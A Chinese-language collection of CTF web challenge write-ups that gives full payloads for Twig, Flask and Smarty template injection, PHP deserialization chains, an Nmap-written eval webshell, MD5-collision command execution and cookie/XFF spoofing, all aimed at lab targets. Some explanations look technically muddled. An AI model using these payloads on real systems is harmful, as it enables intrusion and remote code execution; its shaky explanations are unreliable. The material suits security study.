  • 我们可以利用这个特性,注册exec()为回调函数,再通过getFilter()调用不存在的 “过滤器”,间接执行系统命令。

最终 Payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
  • 第一部分:

    {{_self.env.registerUndefinedFilterCallback("exec")}}

    注册回调函数,将 PHP 原生的exec()设为 “未定义过滤器” 的回调。

  • 第二部分:

    {{_self.env.getFilter("cat /flag")}}

    尝试获取名为cat /flag的过滤器(不存在),触发之前注册的回调,将cat /flag作为参数传给exec(),实际执行命令:exec("cat /flag")

注意:两个 Twig 语句必须放在独立的{{}}中,不能合并,否则会触发语法错误。


步骤 6:提交 Payload,获取 flag

正确提交方式(避坑关键):

不要直接在浏览器开发者工具中修改 Cookie—— 浏览器会自动对 Cookie 值进行 URL 编码,破坏 Twig 语法结构,导致注入失败。必须通过Burp Suite 抓包修改提交:

  1. 拦截登录后的请求,修改 Cookie 为:

    Cookie: PHPSESSID=xxx; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
  2. 放行请求,响应中会直接输出/flag文件的内容,格式为flag{xxxxxx},复制提交即可通关。

【MRCTF2020】Ezpop

一、核心一句话

构造嵌套对象 → 序列化 → URL 编码 = 最终 Payload

源码:


二、最简 POP 触发链

反序列化外层Show

__toString

→ 访问不存在属性触发Test::__get

→ 调用Modifier对象触发__invoke

include读取flag.php


三、最简构造代码(复制运行,直接出 Payload)

<?php
class Modifier { protected $var = 'php://filter/convert.base64-encode/resource=flag.php'; }
class Test { public $p; }
class Show { public $source; public $str; }
​
// 构造嵌套对象
$outer = new Show();
$outer->source = new Show();
$outer->source->str = new Test();
$outer->source->str->p = new Modifier();
​
// 生成Payload
echo urlencode(serialize($outer));
?>

四、Payload 怎么来的?

  1. 序列化serialize($outer) 把对象变成字符串

  2. URL 编码urlencode() 处理特殊字符,适配浏览器传参


五、最终可用 Payload

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D

六、拿 flag 步骤

  1. 拼接靶机地址访问

  2. 页面得到base64 字符串

  3. 解码 base64 → 拿到 flag

【MRCTF2020】PYWebsite


一、题目基础信息

  • 题目:[MRCTF2020]PYWebsite

  • 考点:前端 MD5 验证绕过、X-Forwarded-For(XFF)IP 伪造

  • 核心目标:绕过前端验证码验证,伪造购买者 IP 获取 flag


二、解题步骤

步骤 1:前端验证码绕过

访问靶机页面,点击BUY IT NOW进入验证页:

  1. 查看源码,发现前端验证逻辑:

    function validate(){
        var code = document.getElementById("vcode").value;
        if (code != ""){
            if(hex_md5(code) == "0cd4da07c0b280829dc3ea458d655c"){
                // 跳转到flag.php
            }
        }
    }
  2. 绕过方式:找到 MD5 值为0cd4da07c0b280829dc3ea458d655c的明文(实际解题中直接使用验证逻辑跳转,无需破解,或直接构造跳转请求)

  3. 验证通过后,跳转到flag.php页面,但提示 IP 非购买者,无法直接查看 flag


步骤 2:X-Forwarded-For IP 伪造

  1. 页面提示:我已经把购买者的IP保存了,显然你没有购买,且说明除了购买者和我自己,没有人可以看到flag

  2. 关键思路:服务器通过X-Forwarded-For请求头判断客户端 IP,我们可以伪造为服务器自身 IP(127.0.0.1

  3. 操作方式:

    • 使用 Burp Suite 拦截对flag.php的请求

    • 添加请求头:X-Forwarded-For: 127.0.0.1

    • 放行请求,页面直接输出 flag


三、关键说明

  1. 前端验证绕过:前端 MD5 验证仅作表面校验,真正的 flag 保护在后端 IP 验证,因此无需破解验证码,直接通过跳转逻辑访问flag.php即可

  2. X-Forwarded-For原理:服务器通过该请求头获取客户端真实 IP,伪造为127.0.0.1(服务器自身 IP),即可绕过 IP 限制

  3. 完整请求示例

    GET /flag.php HTTP/1.1
    Host: 靶机地址
    X-Forwarded-For: 127.0.0.1
    Cookie: ...


本题核心操作:在请求flag.php时添加X-Forwarded-For: 127.0.0.1请求头,即可直接获取 flag。

[安洵杯 2019]easy_web


一、题目基础信息

项目详情
题目来源安洵杯 2019 / BUUCTF Web 题
核心考点MD5 强比较绕过、命令执行过滤绕过、参数传递逻辑
目标绕过双重验证,执行系统命令读取 flag 文件
关键请求POST /index.php,GET 参数img+cmd,POST 参数a+b


二、核心逻辑与漏洞点拆解

1. 后端流程还原

结合请求 / 响应,可还原题目核心逻辑:

  1. 第一层验证:MD5 强比较

    if ($_POST['a'] != $_POST['b'] && md5($_POST['a']) == md5($_POST['b'])) {
        // 验证通过,进入下一步
        include($_GET['img']);
        system($_GET['cmd']);
    } else {
        die("验证失败");
    }

    • 要求:$a$b内容不同,但 MD5 值相同(强比较绕过)。

    • 作用:作为权限校验,只有绕过后才能执行后续命令。

  2. 第二层:命令执行

    验证通过后,直接将$_GET['cmd']传入system()执行,读取/flag文件。

2. 关键绕过点分析

(1)MD5 强比较绕过

PHP 中md5()函数处理字符串时,会将以0e开头的数值字符串解析为科学计数法,且0e1230e456的 MD5 值均为0,会被视为相等。题目中使用了经典的碰撞对:

  • a=QNKCDZOb=240610708(两者 MD5 值均为0e830400451993494058024219903391)。

(2)命令执行绕过

  • 直接使用sort /flag命令读取文件:sort会按行排序输出文件内容,不受cat/more等过滤影响。

  • 无需额外绕过,直接执行即可获取 flag 内容。


三、完整 Payload 构造

1. 请求结构

请求部分参数说明
GET URL?img=TXpVek5UTTFNbVUzTURabE5qY&cmd=sort%20/flagimg参数为题目过滤要求(可使用无意义值,如示例中的乱码),cmd为执行命令
POST 数据a=QNKCDZO&b=240610708MD5 碰撞对,绕过强比较验证

2. 实际请求示例

POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qY&cmd=sort%20/flag HTTP/1.1
Host: fd8f1a07-bcb5-4177-b6f2-f4590c6180fd.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 393
​
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
​

四、响应结果与 flag 提取

请求提交后,后端执行流程:

  1. ab通过 MD5 强比较验证;

  2. 执行sort /flag命令,读取/flag文件并按行输出;

  3. 响应中直接返回文件内容,包含 flag:

    flag{63bbab87-a387-4a2b-a84e-2f29726863c1}

[WesternCTF2018] shrine


一、题目信息

  • 题目来源:WesternCTF2018

  • 核心考点:Flask SSTI(服务端模板注入)、黑名单过滤绕过、Flask 应用配置读取

  • 题目特点:首页直接返回完整源码,flag 存储在 Flask 应用的config字典中,通过两层过滤限制直接读取


二、源码审计

import flask
import os
​
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')  # flag核心位置:app.config['FLAG']
​
# 显示源码
@app.route('/')
def index():
    return open(__file__).read()
​
# SSTI注入入口
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    # 过滤1:将所有括号()替换为空,禁止函数调用
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        # 过滤2:黑名单禁止直接使用config和self关键字
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
​
    return flask.render_template_string(safe_jinja(shrine))
​
if __name__ == '__main__':
    app.run(debug=True)

关键源码解读

  1. flag 位置app.config['FLAG'],flag 从环境变量中取出,存入 Flask 应用的全局配置字典

  2. 注入入口/shrine/<path:shrine>路由,用户输入的shrine参数会被直接渲染为 Jinja2 模板

  3. 两层过滤机制

    • 括号过滤:所有()会被替换为空,禁止任何带括号的函数 / 方法调用

    • 关键字过滤:将configself设为None,禁止直接访问这两个核心对象


三、过滤绕过思路

1. 可用的全局内置函数(无括号、不在黑名单)

Flask 模板中默认注入了多个全局函数,其中 url_forget_flashed_messages() 未被过滤,且可以通过它们的__globals__属性访问全局命名空间。

2. 核心利用链

用户输入 → 模板渲染 → 调用url_for → 访问url_for.__globals__ → 获取current_app → 访问current_app.config → 读取FLAG
  • url_for.__globals__:包含当前模块的所有全局变量

  • current_app:Flask 的全局变量,指向当前运行的应用实例

  • current_app.config:应用的全局配置字典,包含我们需要的FLAG


四、解题流程

步骤 1:验证 SSTI 漏洞存在

访问以下 URL,验证模板注入生效:

http://你的靶机地址/shrine/{{7*7}}
  • 正常响应:页面返回49,说明 Jinja2 模板成功执行了算术运算,SSTI 漏洞存在

步骤 2:获取全局命名空间

通过url_for.__globals__查看当前模块的所有全局变量,确认current_app存在:

http://你的靶机地址/shrine/{{url_for.__globals__}}
  • 响应中会显示大量全局变量,其中包含'current_app': <Flask 'app'>,说明可以通过它访问应用实例

步骤 3:读取应用配置,获取 flag

通过current_app.config读取完整配置字典,其中包含FLAG键:

http://你的靶机地址/shrine/{{url_for.__globals__['current_app'].config}}
  • 响应中会显示完整的配置信息,直接找到'FLAG': 'flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}'即可


五、最终可用 Payload

/shrine/{{url_for.__globals__['current_app'].config}}

[安洵杯 2019] easy_serialize_php

一、题目信息

  • 题目来源:安洵杯 2019

  • 核心考点:PHP 反序列化字符串逃逸、extract变量覆盖、任意文件读取、关键词过滤绕过

  • 题目难度:中等(坑点极多,新手容易卡壳)

  • 最终 flagflag{02fa16d8-4273-4ccb-890e-718e43ff2578}


二、核心源码审计

<?php
$function = @$_GET['f'];
​
// 核心过滤函数:将关键词全局替换为空,产生字符串逃逸的根源
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
​
if($_SESSION){
    unset($_SESSION);
}
​
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); // 变量覆盖:POST参数直接覆盖SESSION
​
// 序列化后过滤
$serialize_info = filter(serialize($_SESSION));
​
// 利用点:反序列化后读取文件
if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

关键代码解读

  1. filter函数:将phpflag等关键词全局替换为空,是产生序列化字符串逃逸的核心

  2. extract($_POST):POST 提交的键值对会直接覆盖已有的$_SESSION变量

  3. show_image路由:反序列化经过过滤的 SESSION 数据,然后读取img键对应的 base64 编码文件内容

  4. flag 位置:存储在auto_append_file指定的 PHP 文件中,直接访问会被执行,看不到源代码


三、漏洞原理:PHP 序列化字符串逃逸

1. 序列化格式

PHP 序列化字符串的格式为:类型:长度:值,反序列化时严格按照长度读取内容

a:2:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";}

2. 逃逸原理

当序列化后的字符串经过filter函数处理后,关键词被替换为空,导致字符串实际长度变短,但反序列化时仍会按照原长度读取,从而产生字符串逃逸,可以注入新的键值对。

3. 本题的逃逸计算

  • 我们构造键名flagphp,原长度为 7 个字符

  • 经过filter过滤后,flag(4 个字符)和php(3 个字符)被替换为空,键名变成空字符串,长度为 0

  • 多出来的7 个字符空间正好可以用来注入新的键值对

  • s:6:"mochu7";作为填充,正好占 7 个字符,完美匹配逃逸空间


四、完整解题流程

步骤 1:获取 flag 文件名

访问/index.php?f=phpinfo,在 phpinfo 页面中找到auto_append_file配置项,其值就是 flag 的文件名。

  • 常见文件名:d0g3_f1ag.phpd0g3_fllllllag.php(不同靶机实例可能不同)

步骤 2:将 flag 文件名进行 base64 编码

# 对应d0g3_fllllllag.php
base64_encode("d0g3_fllllllag.php") = L2QwZzNfZmxsbGxsbGFnLnBocA==
​
# 对应d0g3_f1ag.php
base64_encode("d0g3_f1ag.php") = ZDBnM19mMWFnLnBocA==

步骤 3:构造最终 Payload

_SESSION[flagphp]=s:6:"mochu7";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFnLnBocA==";

步骤 4:发送请求获取 flag

  1. 打开 HackBar,Load URL 填:

    http://你的靶机地址/index.php?f=show_image
  2. 勾选Post data,粘贴上面的 Payload

  3. 点击Execute发送请求

  4. 看到 flag

[BSidesCF 2019] Kookie


一、题目信息

  • 题目来源:BSidesCF 2019

  • 核心考点:Cookie 身份验证绕过、客户端身份伪造、未授权访问

  • 题目难度:入门级(CTF Web 入门必做题)

  • 题目特点:服务器完全信任客户端提交的 Cookie,无任何后端身份验证,只需修改 Cookie 即可直接以管理员身份登录


二、页面信息与漏洞分析

1. 页面关键提示

  • 明确提示:Login as admin!

  • 存在两个普通账户:cookiemonster

  • 只有一个登录表单,需要输入用户名和密码,但密码完全不需要

2. 核心漏洞原理

这道题是最经典的客户端身份验证漏洞

  • 服务器通过 Cookie 中的username字段来判断当前登录用户的身份

  • 没有对 Cookie 的真实性进行任何后端验证(如签名、加密、数据库校验)

  • 攻击者可以直接修改客户端 Cookie 中的username值为admin,欺骗服务器认为自己是管理员

三、完整解题流程

Burp Suite 抓包修改

  1. 打开 Burp Suite,开启代理,浏览器设置代理指向 Burp

  2. 刷新靶机页面,Burp 会捕获到请求

  3. 在请求头中找到

    Cookie

    字段,添加:

    username=admin;
    Cookie: username=admin; 其他原有Cookie
  4. 点击「Forward」发送请求

步骤 4:刷新页面获取 flag

修改完 Cookie 后,刷新页面,会直接显示登录成功的提示,flag 就在页面上:

Congratulations! You're logged in as admin! Your flag is: flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

[网鼎杯 2020 朱雀组] Nmap 解题笔记

  • 题目来源:网鼎杯 2020 朱雀组

  • 核心考点:Nmap 命令注入、-oG文件写入、PHP 短标签 / 一句话木马绕过、WAF 过滤、Nmap 输出转义 / 换行问题

  • 题目难度:中等偏上(坑点极多,新手极易卡壳)

  • 关键提示:页面源码注释直接给出 <!-- flag is in /flag -->,目标明确


二、核心漏洞原理

1. 后端逻辑

<?php
$host = $_POST['host'];
// 仅对输入做了简单转义,未过滤Nmap命令行选项
$host = escapeshellarg($host);
// 执行Nmap扫描,使用-oX默认输出XML
system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/$rand.xml " . $host);
?>

2. 核心漏洞点

  • Nmap 命令注入:Nmap 支持-oG(Grepable 输出)选项,可将扫描结果写入任意文件

  • 文件写入 + 代码执行:写入.phtml后缀的文件,可被 PHP 解析器执行

  • WAF 过滤:对<?php关键词有拦截,需用短标签或一句话木马绕过

  • 转义 / 换行问题:Nmap 的-oG输出会自动添加反斜杠转义,且长命令会自动换行,破坏单行代码语法


三、完整解题流程

步骤 1:构造一句话木马 Payload

你最终成功使用的 Payload:

host=' <?= @eval($_POST[7]); ?> -oG mc.phtml '
  • 前后单引号:闭合escapeshellarg添加的单引号,突破命令执行限制

  • <?=:PHP 短标签,绕过 WAF 对<?php的拦截

  • @eval($_POST[7]);:一句话木马,抑制错误输出,即使有多余字符也能执行

  • -oG mc.phtml:将扫描结果写入mc.phtml文件,后缀为.phtml可被 PHP 解析

步骤 2:提交 Payload,写入 webshell

  1. 回到扫描页面,在输入框中粘贴上面的 Payload

  2. 点击「Scan」按钮,等待扫描完成(会显示Host maybe down,属于正常现象)

  3. 此时mc.phtml已被成功写入服务器根目录

步骤 3:连接 webshell,执行命令获取 flag

  1. 打开 HackBar,Load URL 填:

    http://你的靶机地址/mc.phtml
  2. 勾选

    Post data

    ,输入:

    7=system('cat /flag');
  3. 点击

    Execute

    发送请求,页面会直接显示完整的 flag:

    flag{248edd2f-3c09-4d6b-b2a2-e4e336eba0a2}

[NPUCTF2020] ReadlezPHP 解题笔记


一、题目信息

  • 题目来源:NPUCTF 2020

  • 核心考点:PHP 反序列化漏洞、变量函数调用、assert 注入、phpinfo 敏感信息泄露

  • 题目难度:中等

  • 关键提示:flag 不在文件系统中,而是隐藏在phpinfo()的环境变量里,需要通过反序列化调用 phpinfo 获取


二、核心源码审计

找到这个可以文件,进行访问

通过time.php?source获取到完整源码:

<?php
#error_reporting(0);
class HelloPHP
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPHP;
​
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die(0);
}
​
@$ppp = unserialize($_GET["data"]);
?>

关键代码解读

  1. unserialize($_GET["data"]):直接反序列化用户可控的data参数,且反序列化过程不会调用__construct()构造方法,可以直接控制$a$b的值

  2. __destruct()析构方法:在对象销毁时执行,核心逻辑为echo $b($a);,即把$b当作函数名,$a当作参数,执行变量函数调用

  3. $_GET['source']:查看源码的入口,确认了漏洞点的存在


三、漏洞原理

1. 变量函数调用执行任意代码

PHP 中支持$函数名($参数)形式的变量函数调用,本题中:

  • 我们可以通过反序列化控制$b为任意 PHP 函数名

  • 控制$a为该函数的参数,实现任意代码执行

2. 为什么用assert而不是eval

  • eval()不能以变量函数的形式调用(即$b='eval'; $b($a);会报错)

  • assert()可以接收字符串形式的 PHP 代码作为参数,会自动解析并执行(如assert("phpinfo()");会直接执行phpinfo()

  • 因此assert是本题唯一可用的执行任意代码的函数

3. flag 的隐藏位置

phpinfo()页面会泄露服务器的环境变量,题目中的 flag 被直接写入了环境变量中,通过调用phpinfo()即可直接看到 flag


四、完整解题流程

步骤 1:获取源码

访问time.php?source,查看完整源码,确认反序列化和变量函数调用漏洞。

步骤 2:构造反序列化 Payload

根据源码,我们需要构造一个HelloPHP对象,其中:

  • $a的值为"phpinfo()"(要执行的代码)

  • $b的值为"assert"(执行函数)

序列化后的 Payload:

O:8:"HelloPHP":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

步骤 3:发送请求,触发漏洞

构造 URL:

http://你的靶机地址/time.php?data=O:8:"HelloPHP":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

访问该 URL,会直接触发assert("phpinfo()");,执行phpinfo()

步骤 4:在 phpinfo 中找到 flag

phpinfo()页面中,找到Environment Variables部分,其中FLAG环境变量的值就是题目 flag:

flag{13e240b1-4438-4e88-9e34-169df2026184}

[CISCN2019 华东南赛区] Web11 解题笔记


一、题目信息

  • 题目来源:CISCN2019 华东南赛区

  • 核心考点:Smarty 模板注入(SSTI)、X-Forwarded-For(XFF)请求头污染、HTTP 请求头可控输入漏洞

  • 题目难度:入门级(经典的 SSTI 入门题,适合学习模板注入的基础利用)

  • 关键特征:页面底部显示Build With Smarty!,明确使用 Smarty 模板引擎;IP 地址回显功能直接受X-Forwarded-For请求头控制,且未做任何过滤,存在直接注入点。


二、核心漏洞原理

1. 什么是 Smarty 模板引擎?

Smarty 是 PHP 生态中最流行的模板引擎之一,使用{{ ... }}作为模板标签,支持变量渲染、逻辑控制和函数调用。当用户可控的输入被直接传递给 Smarty 模板引擎解析时,就会产生服务端模板注入(SSTI)漏洞,攻击者可以构造恶意模板语法执行任意 PHP 代码或系统命令。

2. 为什么X-Forwarded-For头会导致注入?

X-Forwarded-For是 HTTP 扩展请求头,用于标识请求的真实客户端 IP。这道题的后端逻辑是:

  1. 读取请求头中的X-Forwarded-For值,作为 “当前 IP 地址”

  2. 直接将这个值传递给 Smarty 模板引擎渲染,输出到页面上

  3. 没有对 XFF 头的值做任何过滤或转义

这就意味着:我们完全控制了传递给模板引擎的输入,可以直接构造恶意模板语法,触发 SSTI 漏洞。

3. Smarty 模板注入的基础语法

语法作用示例
{{1+1}}执行 PHP 表达式执行后输出2,验证漏洞是否存在
{{system("命令")}}调用system()执行系统命令{{system("ls")}}执行 ls 命令
{{phpinfo()}}调用 PHP 内置函数直接输出 phpinfo 页面

三、完整解题流程

步骤 1:识别模板引擎与注入点

  1. 访问靶机页面,底部显示Build With Smarty!,确认使用 Smarty 模板引擎

  2. 观察页面的Current IP回显功能,修改请求头中的X-Forwarded-For值,IP 会跟着变化,说明 XFF 头是可控输入点

步骤 2:验证 SSTI 漏洞

构造请求头,验证漏洞是否存在:

X-Forwarded-For: {{1+1}}

发送请求后,页面显示的Current IP从真实 IP 变成了2,说明模板引擎成功执行了1+1,漏洞存在。

步骤 3:执行系统命令,读取 flag

直接使用system()函数读取 flag 文件:

X-Forwarded-For: {{system("cat /flag")}}

发送请求后,页面响应可能是空白的,需要按Ctrl+U查看网页源代码,flag 会被直接输出在页面的 HTML 源码中。


四、完整 Payload

1. 漏洞验证 Payload

GET / HTTP/1.1
Host: 你的靶机地址
X-Forwarded-For: {{1+1}}
  • 预期结果:页面显示的 IP 变为2

2. 读取 flag 的最终 Payload

GET / HTTP/1.1
Host: 你的靶机地址
X-Forwarded-For: {{system("cat /flag")}}
  • 预期结果:按Ctrl+U查看源码,可直接看到flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

[强网杯 2019] 高明的黑客


一、题目信息

  • 题目来源:强网杯 2019

  • 核心考点:网站源码泄露、PHP 一句话木马爆破、assert注入漏洞、多文件暴力枚举

  • 题目难度:中等(难点在于 3000 + 文件的木马定位,以及变形 assert 注入的利用)

  • 关键提示:页面直接给出源码压缩包www.tar.gz,所有 PHP 文件中藏有一句话木马,可通过 GET 参数触发命令执行。


二、核心漏洞原理

1. 源码泄露与木马藏匿

题目直接公开了网站源码,解压后包含 3000 + 个 PHP 文件,其中部分文件是变形的 assert 注入木马,典型代码如下:

assert($_GET['xd0UXc39w'] ?? '');
  • assert():PHP 中可将字符串作为代码执行的函数,功能类似eval(),但可以作为变量函数调用,部分场景下不会被disable_functions完全禁用

  • 变形特征:参数名、变量名均为无意义的随机字符串,无明显的eval/system关键词,难以被静态扫描或 WAF 识别

  • 空值合并?? '':防止参数未传入时报错,保证木马正常运行

2. assert 注入漏洞

木马的核心利用逻辑:

  1. 接收 GET 参数传入的字符串

  2. 直接将字符串作为 PHP 代码交给assert()执行

  3. 传入系统命令字符串(如cat /flag),即可实现任意命令执行


三、完整解题流程

步骤 1:获取并解压源码

  1. 访问靶机页面,下载www.tar.gz源码压缩包

  2. 解压后得到包含 3000 + 个 PHP 文件的源码目录

步骤 2:分析木马特征

从源码中可识别出木马的关键特征:

  • 使用assert()执行代码

  • 输入来自$_GET/$_POST超全局变量

  • 参数名是无意义的随机字符串

  • 存在错误抑制语法(?? ''@

步骤 3:编写 Python 脚本爆破木马文件与参数

由于文件数量过多,手动遍历效率极低,需编写多线程脚本,遍历所有 PHP 文件,测试每个文件的 GET 参数,验证是否存在注入:

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                         #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)                                                  #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                               #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                           # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                          #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                       #所有的$_POST
    params = {}                                                     #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)           #一次性请求所有的GET和POST
    req.close()                                             # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                 #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                             # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                             # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                   #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()
​
for i in files:                                                         #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()
​

步骤 4:执行脚本,定位可利用文件

脚本运行后,会找到目标木马:

  • 木马文件:xk0SzyKwfwz.php

  • 可利用参数:Efa5BVG

步骤 5:构造 Payload,执行命令获取 flag

构造 URL,执行cat /flag命令:

http://你的靶机地址/xk0SzyKwfwz.php?Efa5BVG=cat /flag

访问该 URL,即可直接输出 flag 内容。

[ASIS 2019] Unicorn shop


一、题目基础信息

项目详情
题目来源ASIS 2019 Web 题
核心考点Unicode 数字字符绕过(单字符输入限制 + 后端数值校验)
题目目标购买价格为 1337.0 的商品 ultra unicorn,获取 flag
关键限制购买表单的 Price 输入框仅允许输入 1 个字符,无法直接输入多位数金额


二、题目环境与初始信息拆解

1. 页面功能与商品列表

打开靶机页面后,可看到一个独角兽商店,共 4 个商品,核心信息如下:

Item IDPrice商品名称
12.0black and white unicorn
25.0unicorn family
38.0warrior unicorn
41337.0ultra unicorn(目标商品,购买后出 flag)

页面下方的Purchase Unicorn表单,用于提交购买请求:

  • 输入框 1:Item ID(选择商品)

  • 输入框 2:Price(支付金额)

  • 按钮:Purchase!(提交请求)

2. 源码审计:干扰项与关键提示

查看页面源码,有两个容易踩坑的点:

<!-- We still have some surprise for admin.password-->
  • 很多人会被这段注释误导,去访问admin.password路径,但返回内容为空,这是纯干扰项,无任何实际作用。

  • 源码无其他隐藏后门或提示,核心逻辑在表单提交的后端校验中。


三、踩坑复盘:常见错误与失败原因

坑 1:直接修改前端限制,提交1337

很多人第一反应是:“既然是前端限制,直接改 HTML 的maxlength或者 JS 不就行了?”

  • 操作:把Price输入框的maxlength=1改成maxlength=10,输入1337提交

  • 结果:请求被拦截,提示操作失败

  • 原因:前端限制只是第一层校验,后端也有严格的数值校验,且可能存在 WAF 或请求长度过滤,修改前端限制无法绕过后端逻辑。

坑 2:修改商品 ID / 价格,尝试 “作弊”

  • 操作 1:输入

    Item ID=4

    Price=1

    提交

    • 结果:提示Wrong commodity!(商品错误)

    • 原因:后端会校验Price是否匹配商品价格,1 < 1337,金额不足支付目标商品。

  • 操作 2:输入

    Item ID=1

    Price=2

    提交

    • 结果:提示Wrong commodity!

    • 原因:商品 1 的价格是2.0,后端校验时,字符串"2""2.0"不匹配,或强类型校验不通过。

坑 3:尝试特殊字符 / 科学计数法绕过

  • 操作:输入1e4(科学计数法,数值 10000),但长度为 3,被前端拦截

  • 操作:输入0x1(十六进制),长度为 2,被前端拦截

  • 结论:这类方法都无法满足 “1 个字符” 的限制,彻底失效。


四、核心原理深挖:为什么 Unicode 字符能绕过?

1. 前端限制的本质

前端的Only one char(?) allowed!限制,是基于字符长度的校验,逻辑类似:

document.getElementById('price').addEventListener('input', function(e) {
    if(this.value.length > 1) {
        alert("Only one char(?) allowed!");
        this.value = this.value.slice(0,1);
    }
});
  • 只要输入内容的字符数为 1,就能绕过前端限制,无论这个字符是普通 ASCII 字符还是 Unicode 字符。

2. 后端校验的核心逻辑(PHP 环境)

题目后端使用 PHP 处理请求,核心校验代码类似:

<?php
$goods = [
    1 => 2.0,
    2 => 5.0,
    3 => 8.0,
    4 => 1337.0
];
​
$id = $_POST['id'];
$price = $_POST['price'];
​
// 后端校验1:商品ID是否存在
if(!isset($goods[$id])) {
    die("操作失败。");
}
​
// 后端校验2:价格是否足够支付(关键!)
$goods_price = $goods[$id];
if(is_numeric($price) && floatval($price) >= $goods_price) {
    echo "操作成功!flag{xxxx}";
} else {
    echo "Wrong commodity!";
}
?>
  • 关键函数:is_numeric($price),该函数支持解析Unicode 数字字符,只要字符本身代表数值,就会返回true

  • 例如:U+1085F这个字符,is_numeric("\u{1085F}")返回truefloatval("\u{1085F}")会将其解析为数值10000

3. 选择U+1085F的原因

项目详情
字符𐡟(Imperial Aramaic Number Ten Thousand Sign)
Unicode 编码U+1085F
数值含义代表古阿拉姆语数字 “一万”,数值为10000
长度1 个字符,满足前端限制
解析结果PHP 中会被解析为10000,大于商品价格1337,满足支付条件

五、一步一步复现解题

步骤 1:选择合适的 Unicode 数字字符

除了 wp 中使用的U+1085F,还有多个可用的 Unicode 数字字符,优先选择数值≥1337 的:

字符Unicode 编码数值说明
𐡟U+1085F10000题目 wp 中使用的字符,兼容性最好
U+21645罗马数字 5,数值不足,仅举例
U+216910罗马数字 10,数值不足
U+216D100罗马数字 100,数值不足
U+216F1000罗马数字 1000,数值不足
U+21801000古罗马数字,数值不足
U+21815000古罗马数字,数值 5000,≥1337,可用

步骤 2:构造购买请求

  1. 打开靶机页面,在

    Purchase Unicorn

    表单中输入:

    • Item ID4(目标商品 ID)

